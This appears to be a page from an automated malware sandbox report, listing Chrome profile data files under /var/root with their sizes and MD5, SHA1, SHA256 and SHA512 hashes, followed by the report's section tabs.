e2bc6f26b0db61af3b7f1648e890be2b748aa886ff3ab51e207a915432c6d9a426b188fe9c979b443e8fe8aad248442b20b2e6cd38f494264cb7cdbcaa88eecd

Download Submit
/var/root/Library/Application Support/Google/Chrome/Default/shared_proto_db/metadata/000003.ldb

Filesize
353B

MD5
17a2dc5826aeb539547f00f52eccccd5

SHA1
fd36ad6db84312792cffac0267f6329b21727d66

SHA256
746da9cf33c3e4d29907dfdf1065f06ae16dcb5c2e9a34cfb5dd0dae9130f151

SHA512
6bca3e308d0446211570021c1f1dc6d8e9704a2a68a90c5c8daf26b20cb2702bccfae8ddfeb6f16c8bfea83e1b648810054a25a7967bb9539feb241f2950ea73

Download Submit
/var/root/Library/Application Support/Google/Chrome/OptimizationGuidePredictionModels/1ebd6f05-35a0-41ef-8eac-5eeabf450325/model.tflite

Filesize
382KB

MD5
6d7c2f9e94664539dec99b3233301b01

SHA1
85812b004742cc1c211c92911131ce270f8ba769

SHA256
a0956386dc64fd9f4883c8741f950cd60a56859616b159c9e4251c9eb0ac5534

SHA512
4d06917f30651c3bf13c509aae79793b3f1ec93de12179464b18fd9fd16c7bf466884b1c70e425d7e937adde341cf24bd08f19a132bbb9683e804f29b4ed0c33

Download Submit
/var/root/Library/Application Support/Google/Chrome/Subresource Filter/Indexed Rules/35/9.49.1/Ruleset Data

Filesize
120KB

MD5
c5e30274fe7b93847f6d7c02410d1209

SHA1
488a49f38459f29e110c706c51b61ca1ae3b0e26

SHA256
e634e3cfdd0d27d0be1f5f9a19748d19d564928765db343503f42a6e1f5dd4ea

SHA512
bc235bb3af269e9a828e6788dbae2b42cabc879b858102f4cc76c0fa02af0e296d20ffc8f134c0a3f9b408643e4810e8c46afeb0c285b892908b06ea1aa1b811

Download Submit
/var/root/Library/Application Support/Google/Chrome/Subresource Filter/Unindexed Rules/9.49.1/Filtering Rules

Filesize
68KB

MD5
6274a7426421914c19502cbe0fe28ca0

SHA1
e4d1c702ca1b5497a3abcdd9495a5d0758f19ffc

SHA256
ae2fd01d2908591e0f39343a5b4a78baa8e7d6cac9d78ba79c502fe0a15ce3ee

SHA512
bf1287f502013308cdd906f6e42998c422ef1e272b348e66122dc4a4e471d01333b418f48d1bb2198c72845bdc950612597e179e612aaa1ba6cf8d48fb8f0cf5

Download Submit

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads